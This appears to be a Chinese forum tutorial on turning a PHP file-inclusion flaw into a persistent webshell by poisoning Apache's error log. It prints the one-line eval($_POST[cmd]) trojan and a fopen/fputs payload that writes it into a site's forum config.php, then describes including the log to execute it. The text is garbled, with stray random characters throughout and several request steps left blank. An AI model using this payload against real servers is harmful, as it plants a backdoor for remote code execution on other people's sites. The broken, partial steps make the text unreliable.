php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

& Q. w& s3 V; V% u$ o. R6 ]1 s比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

7 @4 P3 T1 j1 {6 D9 [# a5 L" a到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
0 s2 b7 @! |$ {5 W, A8 A7 ]fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
6 V; M' L2 i. `, O9 m
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为

我们提交

我们再来包含日志，提交

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
